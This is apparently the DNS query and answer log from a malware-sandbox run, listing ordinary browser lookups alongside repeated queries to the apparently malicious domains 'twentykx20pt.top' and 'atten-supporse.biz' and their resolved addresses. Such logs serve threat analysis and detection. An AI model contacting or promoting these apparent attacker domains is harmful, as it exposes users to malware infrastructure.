Nov 30, 2024 09:45:26.207137108 CET	192.168.2.4	1.1.1.1	0xdae	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:26.207195997 CET	192.168.2.4	1.1.1.1	0x65a9	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 30, 2024 09:45:48.125411987 CET	192.168.2.4	1.1.1.1	0x5116	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:53.362945080 CET	192.168.2.4	1.1.1.1	0x794d	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:53.363049984 CET	192.168.2.4	1.1.1.1	0x64d0	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 30, 2024 09:45:56.409837008 CET	192.168.2.4	1.1.1.1	0x6c9a	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:56.409881115 CET	192.168.2.4	1.1.1.1	0xe881	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 30, 2024 09:46:01.533277988 CET	192.168.2.4	1.1.1.1	0xf38c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:01.533535004 CET	192.168.2.4	1.1.1.1	0x410	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 30, 2024 09:46:05.136017084 CET	192.168.2.4	1.1.1.1	0x1466	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:05.136126995 CET	192.168.2.4	1.1.1.1	0x83dd	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 30, 2024 09:46:07.918802023 CET	192.168.2.4	1.1.1.1	0x949b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:07.969470978 CET	192.168.2.4	1.1.1.1	0xb4c3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:07.994026899 CET	192.168.2.4	1.1.1.1	0x12f0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.021446943 CET	192.168.2.4	1.1.1.1	0xde69	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.063390017 CET	192.168.2.4	1.1.1.1	0x961c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.087490082 CET	192.168.2.4	1.1.1.1	0xbd62	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.095971107 CET	192.168.2.4	1.1.1.1	0xacea	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.095971107 CET	192.168.2.4	1.1.1.1	0x1544	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.154495001 CET	192.168.2.4	1.1.1.1	0x10ef	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.155380964 CET	192.168.2.4	1.1.1.1	0x292f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.159373045 CET	192.168.2.4	1.1.1.1	0x402c	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.171199083 CET	192.168.2.4	1.1.1.1	0x153	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.171199083 CET	192.168.2.4	1.1.1.1	0x98d2	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.232778072 CET	192.168.2.4	1.1.1.1	0x767e	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.306036949 CET	192.168.2.4	1.1.1.1	0x6c2b	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.325958967 CET	192.168.2.4	1.1.1.1	0xecd2	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.432724953 CET	192.168.2.4	1.1.1.1	0xe53b	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.445111036 CET	192.168.2.4	1.1.1.1	0xcc2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.464193106 CET	192.168.2.4	1.1.1.1	0x16b4	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.571754932 CET	192.168.2.4	1.1.1.1	0x9a1b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.591384888 CET	192.168.2.4	1.1.1.1	0xba2e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.602514029 CET	192.168.2.4	1.1.1.1	0x680c	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.719383955 CET	192.168.2.4	1.1.1.1	0xe56e	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.754713058 CET	192.168.2.4	1.1.1.1	0x905b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.755351067 CET	192.168.2.4	1.1.1.1	0xdd24	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.887622118 CET	192.168.2.4	1.1.1.1	0xd025	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.905510902 CET	192.168.2.4	1.1.1.1	0x11b5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:08.944783926 CET	192.168.2.4	1.1.1.1	0xd3e2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:09.385574102 CET	192.168.2.4	1.1.1.1	0x55db	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.539551973 CET	192.168.2.4	1.1.1.1	0x3a3a	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.539786100 CET	192.168.2.4	1.1.1.1	0x1ab7	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.541346073 CET	192.168.2.4	1.1.1.1	0xb5b2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.558722019 CET	192.168.2.4	1.1.1.1	0x67cd	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:11.482177973 CET	192.168.2.4	1.1.1.1	0xb524	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.482228041 CET	192.168.2.4	1.1.1.1	0xe814	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.482418060 CET	192.168.2.4	1.1.1.1	0xa3ac	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.623625040 CET	192.168.2.4	1.1.1.1	0xf9e9	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.623807907 CET	192.168.2.4	1.1.1.1	0x9faa	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.624416113 CET	192.168.2.4	1.1.1.1	0x937e	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.764370918 CET	192.168.2.4	1.1.1.1	0xe6b9	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:11.764858961 CET	192.168.2.4	1.1.1.1	0x7e4	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:11.765328884 CET	192.168.2.4	1.1.1.1	0x4762	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 30, 2024 09:46:11.905189037 CET	192.168.2.4	1.1.1.1	0x903b	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.905324936 CET	192.168.2.4	1.1.1.1	0xb23e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.925832987 CET	192.168.2.4	1.1.1.1	0x5283	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.047079086 CET	192.168.2.4	1.1.1.1	0x6501	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.054140091 CET	192.168.2.4	1.1.1.1	0xfb68	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.066374063 CET	192.168.2.4	1.1.1.1	0x4d17	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.188584089 CET	192.168.2.4	1.1.1.1	0x7ec4	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:12.197503090 CET	192.168.2.4	1.1.1.1	0x636f	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:12.208261013 CET	192.168.2.4	1.1.1.1	0xba1e	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:14.727463007 CET	192.168.2.4	1.1.1.1	0x38a8	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:38.993319035 CET	192.168.2.4	1.1.1.1	0xc021	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:39.252520084 CET	192.168.2.4	1.1.1.1	0xd33c	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:39.253787994 CET	192.168.2.4	1.1.1.1	0xf8c7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:39.261023045 CET	192.168.2.4	1.1.1.1	0xdc4a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:39.525509119 CET	192.168.2.4	1.1.1.1	0xe63a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 30, 2024 09:46:39.529571056 CET	192.168.2.4	1.1.1.1	0x63d3	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 30, 2024 09:46:40.603605986 CET	192.168.2.4	1.1.1.1	0x3e69	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 30, 2024 09:44:06.971328020 CET	1.1.1.1	192.168.2.4	0x5b51	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:44:06.971539021 CET	1.1.1.1	192.168.2.4	0x5776	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 30, 2024 09:44:14.030769110 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:44:14.030769110 CET	1.1.1.1	192.168.2.4	0x7a9c	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:44:14.031517982 CET	1.1.1.1	192.168.2.4	0x287d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:44:15.038345098 CET	1.1.1.1	192.168.2.4	0x519b	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:19.643203974 CET	1.1.1.1	192.168.2.4	0x9408	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:19.643203974 CET	1.1.1.1	192.168.2.4	0x9408	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:23.152173042 CET	1.1.1.1	192.168.2.4	0xdacd	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:26.346182108 CET	1.1.1.1	192.168.2.4	0xdae	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:48.263900995 CET	1.1.1.1	192.168.2.4	0x5116	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:48.263900995 CET	1.1.1.1	192.168.2.4	0x5116	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:53.667212009 CET	1.1.1.1	192.168.2.4	0x794d	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:45:56.552222967 CET	1.1.1.1	192.168.2.4	0x6c9a	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:01.672780991 CET	1.1.1.1	192.168.2.4	0x410	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 30, 2024 09:46:01.674302101 CET	1.1.1.1	192.168.2.4	0xf38c	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:05.276560068 CET	1.1.1.1	192.168.2.4	0x1466	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:07.889668941 CET	1.1.1.1	192.168.2.4	0x4c02	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.057370901 CET	1.1.1.1	192.168.2.4	0x949b	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.106972933 CET	1.1.1.1	192.168.2.4	0xb4c3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:08.106972933 CET	1.1.1.1	192.168.2.4	0xb4c3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.131206036 CET	1.1.1.1	192.168.2.4	0x12f0	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.159341097 CET	1.1.1.1	192.168.2.4	0xde69	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.185364962 CET	1.1.1.1	192.168.2.4	0xbc4d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:08.185364962 CET	1.1.1.1	192.168.2.4	0xbc4d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.229856014 CET	1.1.1.1	192.168.2.4	0xbd62	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:08.229856014 CET	1.1.1.1	192.168.2.4	0xbd62	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.234951973 CET	1.1.1.1	192.168.2.4	0xacea	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.291830063 CET	1.1.1.1	192.168.2.4	0x10ef	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:08.291830063 CET	1.1.1.1	192.168.2.4	0x10ef	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:08.291830063 CET	1.1.1.1	192.168.2.4	0x10ef	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.295078993 CET	1.1.1.1	192.168.2.4	0x292f	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.309839010 CET	1.1.1.1	192.168.2.4	0x153	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.317275047 CET	1.1.1.1	192.168.2.4	0x98d2	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.372618914 CET	1.1.1.1	192.168.2.4	0x767e	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:08.372618914 CET	1.1.1.1	192.168.2.4	0x767e	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.373791933 CET	1.1.1.1	192.168.2.4	0x402c	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:08.443563938 CET	1.1.1.1	192.168.2.4	0x6c2b	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 30, 2024 09:46:08.463335991 CET	1.1.1.1	192.168.2.4	0xecd2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 30, 2024 09:46:08.570811987 CET	1.1.1.1	192.168.2.4	0xe53b	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.584145069 CET	1.1.1.1	192.168.2.4	0xcc2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.601954937 CET	1.1.1.1	192.168.2.4	0x16b4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.858171940 CET	1.1.1.1	192.168.2.4	0xe56e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.893086910 CET	1.1.1.1	192.168.2.4	0xdd24	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:08.895899057 CET	1.1.1.1	192.168.2.4	0x905b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.025468111 CET	1.1.1.1	192.168.2.4	0xd025	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 30, 2024 09:46:09.374089003 CET	1.1.1.1	192.168.2.4	0x1cee	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.525295973 CET	1.1.1.1	192.168.2.4	0x55db	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.678981066 CET	1.1.1.1	192.168.2.4	0x1ab7	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.678981066 CET	1.1.1.1	192.168.2.4	0x1ab7	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.679481030 CET	1.1.1.1	192.168.2.4	0x3a3a	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:09.680080891 CET	1.1.1.1	192.168.2.4	0xb5b2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:09.680080891 CET	1.1.1.1	192.168.2.4	0xb5b2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:10.755357981 CET	1.1.1.1	192.168.2.4	0x6e92	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620088100 CET	1.1.1.1	192.168.2.4	0xe814	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620088100 CET	1.1.1.1	192.168.2.4	0xe814	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620141029 CET	1.1.1.1	192.168.2.4	0xb524	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620721102 CET	1.1.1.1	192.168.2.4	0xa3ac	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:11.620721102 CET	1.1.1.1	192.168.2.4	0xa3ac	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.761904001 CET	1.1.1.1	192.168.2.4	0x9faa	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.762126923 CET	1.1.1.1	192.168.2.4	0xf9e9	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.763744116 CET	1.1.1.1	192.168.2.4	0x937e	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:11.903491974 CET	1.1.1.1	192.168.2.4	0x7e4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 30, 2024 09:46:11.903491974 CET	1.1.1.1	192.168.2.4	0x7e4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 30, 2024 09:46:11.903491974 CET	1.1.1.1	192.168.2.4	0x7e4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 30, 2024 09:46:11.903491974 CET	1.1.1.1	192.168.2.4	0x7e4	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 30, 2024 09:46:11.904341936 CET	1.1.1.1	192.168.2.4	0xe6b9	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 30, 2024 09:46:11.904350996 CET	1.1.1.1	192.168.2.4	0x4762	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 30, 2024 09:46:12.043437004 CET	1.1.1.1	192.168.2.4	0xb23e	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.043437004 CET	1.1.1.1	192.168.2.4	0xb23e	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.043437004 CET	1.1.1.1	192.168.2.4	0xb23e	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.043437004 CET	1.1.1.1	192.168.2.4	0xb23e	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.050029039 CET	1.1.1.1	192.168.2.4	0x903b	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:12.050029039 CET	1.1.1.1	192.168.2.4	0x903b	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.050029039 CET	1.1.1.1	192.168.2.4	0x903b	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.050029039 CET	1.1.1.1	192.168.2.4	0x903b	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.050029039 CET	1.1.1.1	192.168.2.4	0x903b	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.065205097 CET	1.1.1.1	192.168.2.4	0x5283	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:12.065205097 CET	1.1.1.1	192.168.2.4	0x5283	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:12.065205097 CET	1.1.1.1	192.168.2.4	0x5283	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.185017109 CET	1.1.1.1	192.168.2.4	0x6501	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.185017109 CET	1.1.1.1	192.168.2.4	0x6501	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.185017109 CET	1.1.1.1	192.168.2.4	0x6501	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
